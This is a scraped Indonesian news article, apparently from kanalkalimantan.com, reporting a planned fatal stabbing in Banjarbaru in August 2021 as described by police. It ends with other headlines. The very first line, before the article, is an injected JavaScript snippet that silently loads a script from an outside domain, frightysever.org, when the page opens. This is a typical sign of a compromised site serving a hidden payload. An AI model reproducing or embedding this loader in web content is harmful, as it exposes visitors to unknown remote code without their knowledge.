(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dipicu rasa sakit hati, pemuda 23 tahun nekat habisi seorang laki-laki yang diduga melakukan perbuatan tak senonoh kepada sang adik.
Kejadian yang berujung pada tewasnya R (53) terjadi di Kampung Basung RT 6 RW 02, Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru pada Senin (16/8/2021) malam.
Kejadian berawal dari pelaku MI (23) merasa sakit hati karena R (53) yang diduga melakukan perbuatan cabul kepada adiknya pada Sabtu 14 Agustus 2021 di rumah R.
Kapolresta Banjarbaru, AKBP Nur Khamid, melalui Kasi Humas Polres Kota Banjarbaru, AKP Tajudin Noor, mengatakan, terjadi penusukan dengan menggunakan senjata tajam yang sudah disiapkan MI sehari sebelum menusuk R yang akhirnya tewas dengan dua luka tusuk.
Baca juga: Petaka Malam 17-an di Alalak Selatan, 16 Rumah Hangus, Diduga Sengaja Dibakar
“MI menusuk R sebanyak dua kali dan mengenai dada sebelah kiri hingga tembus paru-paru korban,” kata AKP Tajudin Noor.
Pelaku berdasarkan keterangan pihak Polres Kota Banjarbaru, telah merencanakan pembunuhan tersebut sejak hari Minggu. Pelaku telah sengaja mengasah senjata tajam berupa pisau yang digunakan menusuk korban.
“Pelaku telah mempersiapkan pisau yang digunakan menusuk dengan menaruh pisau di pinggang, dengan posisi pisau sudah terlepas dari kumpangnya,” kata AKP Tajudin Noor.
Penusukan berujung tewasnya R terjadi pada Senin 16 Agustus 2021, R saat itu meminta kepada MI untuk memotong rambutnya, kesempatan tersebut digunakan oleh MI untuk melancarkan niatnya untuk menghabisi R.
Baca juga: Aksi Cabul di Bawah Jembatan, Pemuda 18 Tahun di Muara Teweh Diadukan ke Polisi
“Saat korban lengah dengan posisi sedang dipotong rambutnya, pelaku mengambil pisau yang ada di pinggangnya dan langsung menusuk korban sebanyak dua kali, tepat di dada sebelah kiri dan mengenai paru-paru korban,” jelas Kasi Humas Polres Banjarbaru.
R akhirnya meninggal dunia saat dalam perjalanan menuju ke rumah sakit. Setelah menusuk R, MI melarikan diri ke sebuah pondok kebun semangka yang ada di Jalan Aneka Tambang, Komplek Abdi Persada, Kelurahan Cempaka, Kecamatan Cempaka, Kota Banjarbaru.
Atas perbuatannya, pelaku dijerat sebagaimana dimaksud dalam pasal 340 Sub 353 (3) sub 351 (3) KUHPidana. (kanalkalimantan.com/al)
Reporter: al
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.